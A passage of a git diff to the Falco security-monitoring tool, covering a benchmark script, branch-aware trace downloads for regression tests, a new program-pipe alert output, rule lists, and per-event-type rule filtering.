+ run_live_test $test
+ done
+}
+
+function run_phoronix_test() {
+
+ live_test="$1"
+
+ case "$live_test" in
+ pts/aio-stress | pts/fs-mark | pts/iozone | pts/network-loopback | pts/nginx | pts/pybench | pts/redis | pts/sqlite | pts/unpack-linux ) CPU_INTERVAL=2;;
+ * ) CPU_INTERVAL=10;;
+ esac
+
+ echo "Running phoronix test $live_test"
+
+ start_subject_prog
+ start_monitor_cpu_usage
+
+ echo " starting phoronix test and waiting for it to finish"
+
+ TEST_RESULTS_NAME=$VARIANT FORCE_TIMES_TO_RUN=1 phoronix-test-suite default-run $live_test
+
+ cleanup
+
+}
+
+# To install and configure phoronix:
+# (redhat instructions, adapt as necessary for ubuntu or other distros)
+# - install phoronix: yum install phoronix-test-suite.noarch
+# - install dependencies not handled by phoronix: yum install libaio-devel pcre-devel popt-devel glibc-static zlib-devel nc bc
+# - fix trivial bugs in tests:
+# - edit ~/.phoronix-test-suite/installed-tests/pts/network-loopback-1.0.1/network-loopback line "nc -d -l 9999 > /dev/null &" to "nc -d -l 9999 > /dev/null &"
+# - edit ~/.phoronix-test-suite/test-profiles/pts/nginx-1.1.0/test-definition.xml line "-n 500000 -c 100 http://localhost:8088/test.html" to "-n 500000 -c 100 http://127.0.0.1:8088/test.html"
+# - phoronix batch-install
+
+function run_phoronix_tests() {
+
+ test="$1"
+
+ if [ $test == "all" ]; then
+ tests="pts/aio-stress pts/apache pts/blogbench pts/compilebench pts/dbench pts/fio pts/fs-mark pts/iozone pts/network-loopback pts/nginx pts/pgbench pts/phpbench pts/postmark pts/pybench pts/redis pts/sqlite pts/unpack-linux"
+ else
+ tests=$test
+ fi
+
+ for test in $tests; do
+ run_phoronix_test $test
+ done
+}
+
+run_tests() {
+
+ IFS=':' read -ra PARTS <<< "$TEST"
+
+ case "${PARTS[0]}" in
+ trace ) run_trace "${PARTS[1]}" ;;
+ live ) run_live_tests "${PARTS[1]}" ;;
+ phoronix ) run_phoronix_tests "${PARTS[1]}" ;;
+ * ) usage; exit 1 ;;
+ esac
+}
+
+usage() {
+ echo "Usage: $0 [options]"
+ echo ""
+ echo "Options:"
+ echo " -h/--help: show this help"
+ echo " -v/--variant: a variant name to attach to this set of test results"
+ echo " -r/--root: root directory containing falco/sysdig binaries (i.e. where you ran 'cmake')"
+ echo " -R/--results: append test results to this file"
+ echo " -o/--output: append program output to this file"
+ echo " -t/--test: test to run. Argument has the following format:"
+ echo " trace:: read the specified trace file."
+ echo " trace:all means run all traces"
+ echo " live:: run the specified live test."
+ echo " live:all means run all live tests."
+ echo " possible live tests:"
+ echo " live:htop: run htop -d2"
+ echo " live:kube-demo: run kubernetes demo from infrastructure repo"
+ echo " live:juttle-examples: run a juttle demo environment based on docker-compose"
+ echo " phoronix:: run the specified phoronix test."
+ echo " if is not 'all', it is passed directly to the command line of \"phoronix-test-suite run \""
+ echo " if is 'all', a built-in set of phoronix tests will be chosen and run"
+ echo " -T/--tracedir: Look for trace files in this directory. If doesn't exist, will download trace files from s3"
+ echo " -A/--agent-autodrop: When running an agent, whether or not to enable autodrop"
+ echo " -F/--falco-agent: When running an agent, whether or not to enable falco"
+}
+
+OPTS=`getopt -o hv:r:R:o:t:T: --long help,variant:,root:,results:,output:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"`
+
+if [ $? != 0 ]; then
+ echo "Exiting" >&2
+ exit 1
+fi
+
+eval set -- "$OPTS"
+
+VARIANT="falco"
+ROOT=`dirname $0`/../build
+SCRIPTDIR=`dirname $0`
+RESULTS_FILE=`dirname $0`/results.json
+OUTPUT_FILE=`dirname $0`/program-output.txt
+TEST=trace:all
+TRACEDIR=/tmp/falco-perf-traces.$USER
+CPU_INTERVAL=10
+AGENT_AUTODROP=1
+FALCO_AGENT=1
+
+while true; do
+ case "$1" in
+ -h | --help ) usage; exit 1;;
+ -v | --variant ) VARIANT="$2"; shift 2;;
+ -r | --root ) ROOT="$2"; shift 2;;
+ -R | --results ) RESULTS_FILE="$2"; shift 2;;
+ -o | --output ) OUTPUT_FILE="$2"; shift 2;;
+ -t | --test ) TEST="$2"; shift 2;;
+ -T | --tracedir ) TRACEDIR="$2"; shift 2;;
+ -A | --agent-autodrop ) AGENT_AUTODROP="$2"; shift 2;;
+ -F | --falco-agent ) FALCO_AGENT="$2"; shift 2;;
+ * ) break;;
+ esac
+done
+
+if [ -z $VARIANT ]; then
+ echo "A test variant name must be provided. Not continuing."
+ exit 1
+fi
+
+if [ -z $ROOT ]; then
+ echo "A root directory containing a falco/sysdig binary must be provided. Not continuing."
+ exit 1
+fi
+
+ROOT=`realpath $ROOT`
+
+
+if [ -z $RESULTS_FILE ]; then
+ echo "An output file for test results must be provided. Not continuing."
+ exit 1
+fi
+
+if [ -z $OUTPUT_FILE ]; then
+ echo "An file for program output must be provided. Not continuing."
+ exit 1
+fi
+
+if [ -z $TEST ]; then
+ echo "A test must be provided. Not continuing."
+ exit 1
+fi
+
+run_tests
diff --git a/test/run_regression_tests.sh b/test/run_regression_tests.sh
index b46646a1..efc40034 100755
--- a/test/run_regression_tests.sh
+++ b/test/run_regression_tests.sh
@@ -3,11 +3,13 @@
SCRIPT=$(readlink -f $0)
SCRIPTDIR=$(dirname $SCRIPT)
MULT_FILE=$SCRIPTDIR/falco_tests.yaml
+BRANCH=$1
function download_trace_files() {
+ echo "branch=$BRANCH"
for TRACE in traces-positive traces-negative traces-info ; do
rm -rf $SCRIPTDIR/$TRACE
- curl -so $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE.zip &&
+ curl -fso $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE-$BRANCH.zip || curl -fso $SCRIPTDIR/$TRACE.zip https://s3.amazonaws.com/download.draios.com/falco-tests/$TRACE.zip &&
unzip -d $SCRIPTDIR $SCRIPTDIR/$TRACE.zip &&
rm -rf $SCRIPTDIR/$TRACE.zip
done
@@ -34,7 +36,7 @@ EOF
}
function prepare_multiplex_file() {
- echo "trace_files: !mux" > $MULT_FILE
+ cp $SCRIPTDIR/falco_tests.yaml.in $MULT_FILE
prepare_multiplex_fileset traces-positive True Warning False
prepare_multiplex_fileset traces-negative False Warning True
diff --git a/userspace/falco/configuration.cpp b/userspace/falco/configuration.cpp
index 4727d0dd..8a71af46 100644
--- a/userspace/falco/configuration.cpp
+++ b/userspace/falco/configuration.cpp
@@ -54,6 +54,20 @@ void falco_configuration::init(string conf_filename, std::list &cmd
m_outputs.push_back(syslog_output);
}
+ output_config program_output;
+ program_output.name = "program";
+ if (m_config->get_scalar("program_output", "enabled", false))
+ {
+ string program;
+ program = m_config->get_scalar("program_output", "program", "");
+ if (program == string(""))
+ {
+ throw sinsp_exception("Error reading config file (" + m_config_file + "): program output enabled but no program in configuration block");
+ }
+ program_output.options["program"] = program;
+ m_outputs.push_back(program_output);
+ }
+
if (m_outputs.size() == 0)
{
throw sinsp_exception("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block");
diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp
index d269a473..d32301b6 100644
--- a/userspace/falco/falco.cpp
+++ b/userspace/falco/falco.cpp
@@ -55,6 +55,8 @@ static void usage()
" -r Rules file (defaults to value set in configuration file, or /etc/falco_rules.yaml).\n"
" -L Show the name and description of all rules and exit.\n"
" -l Show the name and description of the rule with name and exit.\n"
+ " -v Verbose output.\n"
+ " -A Monitor all events, including those with EF_DROP_FALCO flag.\n"
"\n"
);
}
@@ -253,6 +255,8 @@ int falco_init(int argc, char **argv)
string pidfilename = "/var/run/falco.pid";
bool describe_all_rules = false;
string describe_rule = "";
+ bool verbose = false;
+ bool all_events = false;
static struct option long_options[] =
{
@@ -272,7 +276,7 @@ int falco_init(int argc, char **argv)
// Parse the args
//
while((op = getopt_long(argc, argv,
- "c:ho:e:r:dp:Ll:",
+ "c:ho:e:r:dp:Ll:vA",
long_options, &long_index)) != -1)
{
switch(op)
@@ -301,6 +305,12 @@ int falco_init(int argc, char **argv)
case 'L':
describe_all_rules = true;
break;
+ case 'v':
+ verbose = true;
+ break;
+ case 'A':
+ all_events = true;
+ break;
case 'l':
describe_rule = optarg;
break;
@@ -394,11 +404,14 @@ int falco_init(int argc, char **argv)
falco_fields::init(inspector, ls);
falco_logger::init(ls);
+ falco_rules::init(ls);
- inspector->set_drop_event_flags(EF_DROP_FALCO);
- rules->load_rules(config.m_rules_filename);
- inspector->set_filter(rules->get_filter());
+ if(!all_events)
+ {
+ inspector->set_drop_event_flags(EF_DROP_FALCO);
+ }
+ rules->load_rules(config.m_rules_filename, verbose, all_events);
falco_logger::log(LOG_INFO, "Parsed rules from file " + config.m_rules_filename + "\n");
if (describe_all_rules)
diff --git a/userspace/falco/lua/compiler.lua b/userspace/falco/lua/compiler.lua
index 0e809dd6..470b38b3 100644
--- a/userspace/falco/lua/compiler.lua
+++ b/userspace/falco/lua/compiler.lua
@@ -1,6 +1,18 @@
local parser = require("parser")
local compiler = {}
+compiler.verbose = false
+compiler.all_events = false
+
+function compiler.set_verbose(verbose)
+ compiler.verbose = verbose
+ parser.set_verbose(verbose)
+end
+
+function compiler.set_all_events(all_events)
+ compiler.all_events = all_events
+end
+
function map(f, arr)
local res = {}
for i,v in ipairs(arr) do
@@ -153,10 +165,111 @@ function check_for_ignored_syscalls_events(ast, filter_type, source)
end
end
- parser.traverse_ast(ast, "BinaryRelOp", cb)
+ parser.traverse_ast(ast, {BinaryRelOp=1}, cb)
end
-function compiler.compile_macro(line)
+-- Examine the ast and find the event types for which the rule should
+-- run. All evt.type references are added as event types up until the
+-- first "!=" binary operator or unary not operator. If no event type
+-- checks are found afterward in the rule, the rule is considered
+-- optimized and is associated with the event type(s).
+--
+-- Otherwise, the rule is associated with a 'catchall' category and is
+-- run for all event types. (Also, a warning is printed).
+--
+
+function get_evttypes(name, ast, source)
+
+ local evttypes = {}
+ local evtnames = {}
+ local found_event = false
+ local found_not = false
+ local found_event_after_not = false
+
+ function cb(node)
+ if node.type == "UnaryBoolOp" then
+ if node.operator == "not" then
+ found_not = true
+ end
+ else
+ if node.operator == "!=" then
+ found_not = true
+ end
+ if node.left.type == "FieldName" and node.left.value == "evt.type" then
+ found_event = true
+ if found_not then
+ found_event_after_not = true
+ end
+ if node.operator == "in" then
+ for i, v in ipairs(node.right.elements) do
+ if v.type == "BareString" then
+ evtnames[v.value] = 1
+ for id in string.gmatch(events[v.value], "%S+") do
+ evttypes[id] = 1
+ end
+ end
+ end
+ else
+ if node.right.type == "BareString" then
+ evtnames[node.right.value] = 1
+ for id in string.gmatch(events[node.right.value], "%S+") do
+ evttypes[id] = 1
+ end
+ end
+ end
+ end
+ end
+ end
+
+ parser.traverse_ast(ast.filter.value, {BinaryRelOp=1, UnaryBoolOp=1} , cb)
+
+ if not found_event then
+ io.stderr:write("Rule "..name..": warning (no-evttype):\n")
+ io.stderr:write(source.."\n")
+ io.stderr:write(" did not contain any evt.type restriction, meaning it will run for all event types.\n")
+ io.stderr:write(" This has a significant performance penalty. Consider adding an evt.type restriction if possible.\n")
+ evttypes = {}
+ evtnames = {}
+ end
+
+ if found_event_after_not then
+ io.stderr:write("Rule "..name..": warning (trailing-evttype):\n")
+ io.stderr:write(source.."\n")
+ io.stderr:write(" does not have all evt.type restrictions at the beginning of the condition,\n")
+ io.stderr:write(" or uses a negative match (i.e. \"not\"/\"!=\") for some evt.type restriction.\n")
+ io.stderr:write(" This has a performance penalty, as the rule can not be limited to specific event types.\n")
+ io.stderr:write(" Consider moving all evt.type restrictions to the beginning of the rule and/or\n")
+ io.stderr:write(" replacing negative matches with positive matches if possible.\n")
+ evttypes = {}
+ evtnames = {}
+ end
+
+ evtnames_only = {}
+ local num_evtnames = 0
+ for name, dummy in pairs(evtnames) do
+ table.insert(evtnames_only, name)
+ num_evtnames = num_evtnames + 1
+ end
+
+ if num_evtnames == 0 then
+ table.insert(evtnames_only, "all")
+ end
+
+ table.sort(evtnames_only)
+
+ if compiler.verbose then
+ io.stderr:write("Event types for rule "..name..": "..table.concat(evtnames_only, ",").."\n")
+ end
+
+ return evttypes
+end
+
+function compiler.compile_macro(line, list_defs)
+
+ for name, items in pairs(list_defs) do
+ line = string.gsub(line, name, table.concat(items, ", "))
+ end
+
local ast, error_msg = parser.parse_filter(line)
if (error_msg) then
@@ -166,7 +279,9 @@ function compiler.compile_macro(line)
-- Traverse the ast looking for events/syscalls in the ignored
-- syscalls table. If any are found, return an error.
- check_for_ignored_syscalls_events(ast, 'macro', line)
+ if not compiler.all_events then
+ check_for_ignored_syscalls_events(ast, 'macro', line)
+ end
return ast
end
@@ -174,7 +289,12 @@ end
--[[
Parses a single filter, then expands macros using passed-in table of definitions. Returns resulting AST.
--]]
-function compiler.compile_filter(source, macro_defs)
+function compiler.compile_filter(name, source, macro_defs, list_defs)
+
+ for name, items in pairs(list_defs) do
+ source = string.gsub(source, name, table.concat(items, ", "))
+ end
+
local ast, error_msg = parser.parse_filter(source)
if (error_msg) then
@@ -184,7 +304,9 @@ function compiler.compile_filter(source, macro_defs)
-- Traverse the ast looking for events/syscalls in the ignored
-- syscalls table. If any are found, return an error.
- check_for_ignored_syscalls_events(ast, 'rule', source)
+ if not compiler.all_events then
+ check_for_ignored_syscalls_events(ast, 'rule', source)
+ end
if (ast.type == "Rule") then
-- Line is a filter, so expand macro references
@@ -196,7 +318,9 @@ function compiler.compile_filter(source, macro_defs)
error("Unexpected top-level AST type: "..ast.type)
end
- return ast
+ evttypes = get_evttypes(name, ast, source)
+
+ return ast, evttypes
end
diff --git a/userspace/falco/lua/output.lua b/userspace/falco/lua/output.lua
index 245f5cb4..d35a8340 100644
--- a/userspace/falco/lua/output.lua
+++ b/userspace/falco/lua/output.lua
@@ -27,7 +27,7 @@ function mod.file_validate(options)
end
function mod.file(evt, rule, level, format, options)
- format = "%evt.time: "..levels[level+1].." "..format
+ format = "*%evt.time: "..levels[level+1].." "..format
formatter = falco.formatter(format)
msg = falco.format_event(evt, rule, levels[level+1], formatter)
@@ -43,6 +43,22 @@ function mod.syslog(evt, rule, level, format)
falco.syslog(level, msg)
end
+function mod.program(evt, rule, level, format, options)
+
+ format = "*%evt.time: "..levels[level+1].." "..format
+ formatter = falco.formatter(format)
+ msg = falco.format_event(evt, rule, levels[level+1], formatter)
+
+ -- XXX Ideally we'd check that the program ran
+ -- successfully. However, the luajit we're using returns true even
+ -- when the shell can't run the program.
+
+ file = io.popen(options.program, "w")
+
+ file:write(msg, "\n")
+ file:close()
+end
+
function mod.event(event, rule, level, format)
for index,o in ipairs(outputs) do
o.output(event, rule, level, format, o.config)
diff --git a/userspace/falco/lua/parser.lua b/userspace/falco/lua/parser.lua
index b43a9cfe..dd03b1d3 100644
--- a/userspace/falco/lua/parser.lua
+++ b/userspace/falco/lua/parser.lua
@@ -11,6 +11,12 @@
local parser = {}
+parser.verbose = false
+
+function parser.set_verbose(verbose)
+ parser.verbose = verbose
+end
+
local lpeg = require "lpeg"
lpeg.locale(lpeg)
@@ -236,7 +242,8 @@ local G = {
symb("<") / "<" +
symb(">") / ">" +
symb("contains") / "contains" +
- symb("icontains") / "icontains";
+ symb("icontains") / "icontains" +
+ symb("startswith") / "startswith";
InOp = kw("in") / "in";
UnaryBoolOp = kw("not") / "not";
ExistsOp = kw("exists") / "exists";
@@ -296,33 +303,33 @@ parser.print_ast = print_ast
-- have the signature:
-- cb(ast_node, ctx)
-- ctx is optional.
-function traverse_ast(ast, node_type, cb, ctx)
+function traverse_ast(ast, node_types, cb, ctx)
local t = ast.type
- if t == node_type then
+ if node_types[t] ~= nil then
cb(ast, ctx)
end
if t == "Rule" then
- traverse_ast(ast.filter, node_type, cb, ctx)
+ traverse_ast(ast.filter, node_types, cb, ctx)
elseif t == "Filter" then
- traverse_ast(ast.value, node_type, cb, ctx)
+ traverse_ast(ast.value, node_types, cb, ctx)
elseif t == "BinaryBoolOp" or t == "BinaryRelOp" then
- traverse_ast(ast.left, node_type, cb, ctx)
- traverse_ast(ast.right, node_type, cb, ctx)
+ traverse_ast(ast.left, node_types, cb, ctx)
+ traverse_ast(ast.right, node_types, cb, ctx)
elseif t == "UnaryRelOp" or t == "UnaryBoolOp" then
- traverse_ast(ast.argument, node_type, cb, ctx)
+ traverse_ast(ast.argument, node_types, cb, ctx)
elseif t == "List" then
for i, v in ipairs(ast.elements) do
- traverse_ast(v, node_type, cb, ctx)
+ traverse_ast(v, node_types, cb, ctx)
end
elseif t == "MacroDef" then
- traverse_ast(ast.value, node_type, cb, ctx)
+ traverse_ast(ast.value, node_types, cb, ctx)
elseif t == "FieldName" or t == "Number" or t == "String" or t == "BareString" or t == "Macro" then
-- do nothing, no traversal needed
diff --git a/userspace/falco/lua/rule_loader.lua b/userspace/falco/lua/rule_loader.lua
index 8bb55edf..e15b85c0 100644
--- a/userspace/falco/lua/rule_loader.lua
+++ b/userspace/falco/lua/rule_loader.lua
@@ -115,9 +115,12 @@ end
-- object. The by_name index is used for things like describing rules,
-- and the by_idx index is used to map the relational node index back
-- to a rule.
-local state = {macros={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
+local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}}
-function load_rules(filename)
+function load_rules(filename, rules_mgr, verbose, all_events)
+
+ compiler.set_verbose(verbose)
+ compiler.set_all_events(all_events)
local f = assert(io.open(filename, "r"))
local s = f:read("*all")
@@ -131,9 +134,28 @@ function load_rules(filename)
end
if (v['macro']) then
- local ast = compiler.compile_macro(v['condition'])
+ local ast = compiler.compile_macro(v['condition'], state.lists)
state.macros[v['macro']] = ast.filter.value
+ elseif (v['list']) then
+ -- list items are represented in yaml as a native list, so no
+ -- parsing necessary
+ local items = {}
+
+ -- List items may be references to other lists, so go through
+ -- the items and expand any references to the items in the list
+ for i, item in ipairs(v['items']) do
+ if (state.lists[item] == nil) then
+ items[#items+1] = item
+ else
+ for i, exp_item in ipairs(state.lists[item]) do
+ items[#items+1] = exp_item
+ end
+ end
+ end
+
+ state.lists[v['list']] = items
+
else -- rule
if (v['rule'] == nil) then
@@ -150,7 +172,8 @@ function load_rules(filename)
v['level'] = priority(v['priority'])
state.rules_by_name[v['rule']] = v
- local filter_ast = compiler.compile_filter(v['condition'], state.macros)
+ local filter_ast, evttypes = compiler.compile_filter(v['rule'], v['condition'],
+ state.macros, state.lists)
if (filter_ast.type == "Rule") then
state.n_rules = state.n_rules + 1
@@ -164,6 +187,11 @@ function load_rules(filename)
-- event.
mark_relational_nodes(filter_ast.filter.value, state.n_rules)
+ install_filter(filter_ast.filter.value)
+
+ -- Pass the filter and event types back up
+ falco_rules.add_filter(rules_mgr, evttypes)
+
-- Rule ASTs are merged together into one big AST, with "OR" between each
-- rule.
if (state.filter_ast == nil) then
@@ -177,7 +205,6 @@ function load_rules(filename)
end
end
- install_filter(state.filter_ast)
io.flush()
end
diff --git a/userspace/falco/rules.cpp b/userspace/falco/rules.cpp
index dc2b7072..ce09ab16 100644
--- a/userspace/falco/rules.cpp
+++ b/userspace/falco/rules.cpp
@@ -1,4 +1,5 @@
#include "rules.h"
+#include "logger.h"
extern "C" {
#include "lua.h"
@@ -6,6 +7,11 @@ extern "C" {
#include "lauxlib.h"
}
+const static struct luaL_reg ll_falco_rules [] =
+{
+ {"add_filter", &falco_rules::add_filter},
+ {NULL,NULL}
+};
falco_rules::falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename)
{
@@ -17,6 +23,48 @@ falco_rules::falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filena
load_compiler(lua_main_filename);
}
+void falco_rules::init(lua_State *ls)
+{
+ luaL_openlib(ls, "falco_rules", ll_falco_rules, 0);
+}
+
+int falco_rules::add_filter(lua_State *ls)
+{
+ if (! lua_islightuserdata(ls, -2) ||
+ ! lua_istable(ls, -1))
+ {
+ falco_logger::log(LOG_ERR, "Invalid arguments passed to add_filter()\n");
+ throw sinsp_exception("add_filter error");
+ }
+
+ falco_rules *rules = (falco_rules *) lua_topointer(ls, -2);
+
+ list evttypes;
+
+ lua_pushnil(ls); /* first key */
+ while (lua_next(ls, -2) != 0) {
+ // key is at index -2, value is at index
+ // -1. We want the keys.
+ evttypes.push_back(luaL_checknumber(ls, -2));
+
+ // Remove value, keep key for next iteration
+ lua_pop(ls, 1);
+ }
+
+ rules->add_filter(evttypes);
+
+ return 0;
+}
+
+void falco_rules::add_filter(list &evttypes)
+{
+ // While the current rule was being parsed, a sinsp_filter
+ // object was being populated by lua_parser. Grab that filter
+ // and pass it to the inspector.
+ sinsp_filter *filter = m_lua_parser->get_filter(true);
+
+ m_inspector->add_evttype_filter(evttypes, filter);
+}
void falco_rules::load_compiler(string lua_main_filename)
{
@@ -40,18 +88,47 @@ void falco_rules::load_compiler(string lua_main_filename)
}
}
-void falco_rules::load_rules(string rules_filename)
+void falco_rules::load_rules(string rules_filename, bool verbose, bool all_events)
{
lua_getglobal(m_ls, m_lua_load_rules.c_str());
if(lua_isfunction(m_ls, -1))
{
+ // Create a table containing all events, so they can
+ // be mapped to event ids.
+ sinsp_evttables* einfo = m_inspector->get_event_info_tables();
+ const struct ppm_event_info* etable = einfo->m_event_info;
+ const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
+
+ map events_by_name;
+ for(uint32_t j = 0; j < PPM_EVENT_MAX; j++)
+ {
+ auto it = events_by_name.find(etable[j].name);
+
+ if (it == events_by_name.end()) {
+ events_by_name[etable[j].name] = to_string(j);
+ } else {
+ string cur = it->second;
+ cur += " ";
+ cur += to_string(j);
+ events_by_name[etable[j].name] = cur;
+ }
+ }
+
+ lua_newtable(m_ls);
+
+ for( auto kv : events_by_name)
+ {
+ lua_pushstring(m_ls, kv.first.c_str());
+ lua_pushstring(m_ls, kv.second.c_str());
+ lua_settable(m_ls, -3);
+ }
+
+ lua_setglobal(m_ls, m_lua_events.c_str());
+
// Create a table containing the syscalls/events that
// are ignored by the kernel module. load_rules will
// return an error if any rule references one of these
// syscalls/events.
- sinsp_evttables* einfo = m_inspector->get_event_info_tables();
- const struct ppm_event_info* etable = einfo->m_event_info;
- const struct ppm_syscall_desc* stable = einfo->m_syscall_info_table;
lua_newtable(m_ls);
@@ -82,7 +159,10 @@ void falco_rules::load_rules(string rules_filename)
lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str());
lua_pushstring(m_ls, rules_filename.c_str());
- if(lua_pcall(m_ls, 1, 0, 0) != 0)
+ lua_pushlightuserdata(m_ls, this);
+ lua_pushboolean(m_ls, (verbose ? 1 : 0));
+ lua_pushboolean(m_ls, (all_events ? 1 : 0));
+ if(lua_pcall(m_ls, 4, 0, 0) != 0)
{
const char* lerr = lua_tostring(m_ls, -1);
string err = "Error loading rules:" + string(lerr);
diff --git a/userspace/falco/rules.h b/userspace/falco/rules.h
index 91bf6fa5..b049a827 100644
--- a/userspace/falco/rules.h
+++ b/userspace/falco/rules.h
@@ -1,5 +1,7 @@
#pragma once
+#include
+
#include "sinsp.h"
#include "lua_parser.h"
@@ -8,13 +10,18 @@ class falco_rules
public:
falco_rules(sinsp* inspector, lua_State *ls, string lua_main_filename);
~falco_rules();
- void load_rules(string rules_filename);
+ void load_rules(string rules_filename, bool verbose, bool all_events);
void describe_rule(string *rule);
sinsp_filter* get_filter();
+ static void init(lua_State *ls);
+ static int add_filter(lua_State *ls);
+
private:
void load_compiler(string lua_main_filename);
+ void add_filter(list &evttypes);
+
lua_parser* m_lua_parser;
sinsp* m_inspector;
lua_State* m_ls;
@@ -22,6 +29,7 @@ class falco_rules
string m_lua_load_rules = "load_rules";
string m_lua_ignored_syscalls = "ignored_syscalls";
string m_lua_ignored_events = "ignored_events";
+ string m_lua_events = "events";
string m_lua_on_event = "on_event";
string m_lua_describe_rule = "describe_rule";
};